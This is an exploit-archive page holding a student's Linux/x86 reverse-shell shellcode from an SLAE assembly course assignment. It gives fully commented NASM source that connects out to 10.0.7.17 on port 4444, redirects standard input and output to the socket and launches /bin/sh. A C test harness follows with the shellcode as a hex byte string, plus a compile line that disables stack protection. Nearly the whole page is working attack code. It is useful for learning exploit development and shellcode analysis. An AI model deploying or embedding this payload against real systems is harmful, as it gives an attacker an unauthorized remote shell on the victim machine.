Linux/x86 - Reverse (10.0.7.17:4444/TCP) Shell (/bin/sh) Shellcode (101 Bytes)



EKU-ID: 7633 CVE: OSVDB-ID:
Author: Jonathan Crosby Published: 2018-05-28 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/* Name             : Jonathan "Chops" Crosby
 * Email            : me@securitychops.com
 * Twitter          : @securitychops
 * Website          : https://securitychops.com
 * Blog Post        : https://securitychops.com/2018/05/21/slae-assignment-2-reverse-shell-tcp-shellcode.html
 * Student ID       : SLAE-1250
 * Assignment 2     : Reverse Shell TCP (Linux/x86)
 * Shellcode Length : 101 bytes
 * Shellcode Purpose: Initiate a reverse shell back to the ip address / port number on shellcode execution
 *
 * Assembly code to generate shellcode in provided C program:

; assemble/link assembly with:
; nasm -f elf32 -o shellcode.o shellcode.nasm
; ld -o shellcode shellcode.o

global _start

section .text
_start:

; for all socket based calls we will need to use socketcall
; http://man7.org/linux/man-pages/man2/socketcall.2.html
;
; the relevant calls we will need to make will be:
; -----
; SYS_SOCKET        socket(2)   0x01
; SYS_BIND          bind(2)     0x02
; SYS_CONNECT       connect(2)  0x03
; SYS_LISTEN        listen(2)   0x04
; SYS_ACCEPT        accept(2)   0x05
; -----
; due to the way the registers need to be loaded up we will need to
; make the call to cocketcall by loading the following info into
; the following registers
; -----
; eax : 0x66 (this is the value of socketcall)
; ebx : SYS_* value (0x01, etc)
; ecx : pointer to address on stack of parameters to subfunction

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int socket(domain, type , protocol)
; ASM version:  socketcall(SYS_SOCKET, socket(AF_INET,SOCK_STREAM,IPPROTO_IP))
; Returns    :  socketid into eax
; -----
; Param Values:
;   #define AF_INET     2   // Internet IP Protocol
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define SOCK_STREAM 1   // stream (connection) socket
;   http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;
;   #define IPPROTO_IP  0
;   If the protocol argument is zero, the default protocol for this address family and type shall be used.
;   http://pubs.opengroup.org/onlinepubs/009695399/functions/socket.html
; -----
; Registers before calling socketcall:
;
; /---eax---\   /---ebx---\   /--------ecx---------\  
; |   0x66  |   |   0x01  |   |  byte, byte, byte  |
; \---------/   \---------/   |  0x02  0x01  0x00  |
;                             \--------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; push params to the stack last first

xor eax, eax     ; zeroing out edx to set IPPROTO_IP to 0
push eax         ; pushing IPPROTO_IP onto stack
push byte 0x01   ; pushing SOCK_STREAM onto stack
push byte 0x02   ; pushing AF_INET onto stack

mov ecx, esp     ; moving address of parameter structure into ecx

xor eax, eax     ; zeroing out eax
mov al, 0x66     ; moving socketcall value into eax

xor ebx, ebx     ; zeroing out ebx
mov bl, 0x01     ; moving SYS_SOCKET into ebx

int 0x80         ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\
; |  socketid  |  |   0x01  |   |  *address to struct |
; \------------/  \---------/   \---------------------/

; eax now contains our socketid, since eax is volitale
; lets put it somewhere safe, like esi

xchg eax, esi    ; esi now contains our socketid
                 ; and eax contains whatever was in esi

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |   garbage  |  |   0x01  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  : connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; ASM version: socketcall(SYS_CONNECT, connect(socketid,(struct sockaddr *)&serverAddress, sizeof(serverAddress));
; -----
; Param Values:
;   socketid         // currently stored in esi
;  
;   &serverAddress   // memory on the stack for sockaddr
;       * http://pubs.opengroup.org/onlinepubs/7908799/xns/netinetin.h.html
;       * Values of this type must be cast to struct sockaddr for use with the socket interfaces
;       
;     this parameter is a struct of sockaddr_in which has the following structure
;
;     struct sockaddr_in {
;         sa_family_t    sin_family; // address family: AF_INET
;         in_port_t      sin_port;   // port in network byte order
;         struct in_addr sin_addr;   // internet address
;                   // Internet address.
;                   struct in_addr {
;                       uint32_t   s_addr; // address in network byte order
;                };
;
;     sa_family_t
;       #define AF_INET     2   // Internet IP Protocol
;       http://students.mimuw.edu.pl/SO/Linux/Kod/include/linux/socket.h.html
;    
;     in_port_t // port in network byte order / big endian
;       https://en.wikipedia.org/wiki/Endianness
;       port 9876 would be: word 0x2694
;
;     sin_addr // uint32_t ia 4 bytes
;       ip bound to will be XXX.XXX.XXX.XXX
;       ip would be: dword 0xFFFF or whatever IP will end up being reversed
;
;   sizeof(serverAddress)   // this value represents bytes, so 4 bytes is 32bits
;       the value here is 16 bytes or 0x10h which is ultimaly 32bits
; -----
;
; Registers before calling socketcall:
;
; /---eax---\   /---ebx---\   /--------------------------ecx-----------------------------\
; |   0x66  |   |   0x03  |   |  socketid, mem of server address struct, size of struct  |
; \---------/   \---------/   |     esi                ecx                    0x10       |
;                             \-------------------------|--------------------------------/

; we need to create the first stack pointer for sockaddr_in

xor edx, edx

push edx

mov byte [esp]  , 0x0a   ; 10
mov byte [esp+2], 0x07   ; 07
mov byte [esp+3], 0x11   ; 17

                         ; mov byte [esp+1], 0x00 left out on purpose since
                         ; this would put 0x00 in the final shellcode, which
                         ; is generally considered bad practice since null
                         ; tends to cause issues when executing

push word  0x5C11     ; port number (0x115C is 4444 so we push little endian)

push word  0x02       ; AF_INET - which is 0x02

mov ecx, esp        ; move stack pointer to ecx

push byte 0x10      ; 16 byts long (or 32bit)

push ecx            ; pushing sockaddr_in into esp

push esi            ; sockid already in esi, so pushing it

mov ecx, esp        ; moving stack pointer to ecx

; from the previous call ebx is already 0x01
; lets increment it by one
inc ebx             ; increasing ebx from 1 to 2
inc ebx         ; and from 2 to 3

xor eax, eax        ; zeroing out eax
mov al, 0x66        ; moving socketcall value into eax

int 0x80            ; calling interupt which triggers socketcall

; registers after calling socktcall

; /----eax----\   /---ebx---\   /--------ecx---------\   /---esi---\
; |  uneeded  |  |   0x03  |   |  *address to struct |  | socketid |
; \------------/  \---------/   \---------------------/  \---------/


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int dup2(clientid, localDiscripToDuplicate);
; ASM version:  standard syscall using same format as above
; -----
; Param Values:
;   clientid                        // currently stored in eax
;
;   localDiscripToDuplicate         // 0, 1, 2 file descriptors to duplicate
; -----
; Registers before calling dup2:
;
; /---eax---\   /---ebx----\   /-------------ecx---------------\
; |   0x3f  |   |  sockid  |   |  file descriptor to dplicate  |
; \---------/   \----------/   |          2, 1 adnd 0          |
;                              \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


mov ebx, esi        ; moving socketid from eax to ebx

                    ; now we need a loop to run through for
                    ; 0, 1 and 2

xor ecx, ecx        ; zeroing out ecx
mov cl, 0x03        ; moving syscall for dup2

dupin:
    xor eax, eax        ; zeroing out eax
    mov al, 0x3f        ; setting syscall value for dup2
    dec cl              ; decreasing loop counter since we
                        ; will need to deal with only 2, 1 and 0
    int 0x80            ; syscall triggering listen
    jnz dupin           ; if the zero flag is not set then do it again

; registers after calling socktcall
;
; since we don't care about any return values
; we don't bother tracking register values

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; C version  :  int execve(const char *filename, char *const argv[], char *const envp[]);
; ASM version:  standard syscall using same format as above
; -----
; Param Values:
;   filename     // path of elf32 to execute
;
;   argv         // standard argv, first param is full path to elf32 null terminated
;
;   envp         // any environmental specific things, null in our case
; -----
; Registers before calling execve:
;
; /---eax---\   /----------------ebx--------------------\   /-------------ecx---------------\
; |   0x0B  |   | stack address if //bin/sh,0x00000000  |   |  stack address to 0x00000000  |
; \---------/   \---------------------------------------/   \-------------------------------/
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; call execve in order to complete the local bind shell
; execve("/bin/sh", argv[], envp[]);
; argv needs to be Address of /bin/sh, 0x00000000
; this is because when you call something from bash, etc
; argv will contain the path of the executable within it

; before starting we look like:
; execve(NOT-SET-YET, NOT-SET-YET, NOT-SET-YET)

; First we need to get 0x00000000 into ebx somehow
; so lets zero out eax and push it to esp

xor eax, eax    ; zeroing out eax to make it 0x00000000
push eax        ; pushing 0x00000000 onto the stack (esp)

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; esp now looks like: 0x00000000;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; pushing "//bin/sh" (8 bytes and reverses due to little endian)
push 0x68732f6e ; hs/n : 2f68732f into esp
push 0x69622f2f ; ib// : 6e69622f into esp

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;esp now looks like: "//bin/sh,0x00000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; since we have been pushing to the stack, we have been pushing to esp
; now we need to get "//bin/sh,0x00000000" into ebx since it is the first parameter for execve
; since esp contains exactly what we need we move it to ebx

mov ebx, esp    ; moving the param to ebx
                ; ebx now contains "//bin/sh,0x00000000"

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; now we need to get 0x00000000 into edx
push eax        ; eax is still 0x00000000 so push it to esp
mov  edx, esp   ; we need to move a 0x00000000 into
                ; the third parameter in edx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", NOT-SET-YET, 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; the second parameter is needs to be "//bin/sh,0x00000000"
; which we can accomplish by moving ebx onto the stack
; and then moving esp into ecx since it will be on the stack

push ebx        ; pushing "//bin/sh,0x00000000" back to the stack
mov  ecx, esp   ; moving the address of ebx (on the stack) to ecx

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000", *"//bin/sh,0x00000000", 0x00000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

; loading syscall execve
mov al, 0x0B    ; syscall for execve is 11 dec / 0x0B hex
int 0x80
 
*/

#include<stdio.h>
#include<string.h>

//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack

unsigned char code[] = \
"\x31\xc0\x50\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x96\x31\xd2\x52\xc6\x04\x24\x0a\xc6\x44\x24\x02\x07\xc6\x44\x24\x03\x11\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\x43\x31\xc0\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main()
{
    printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}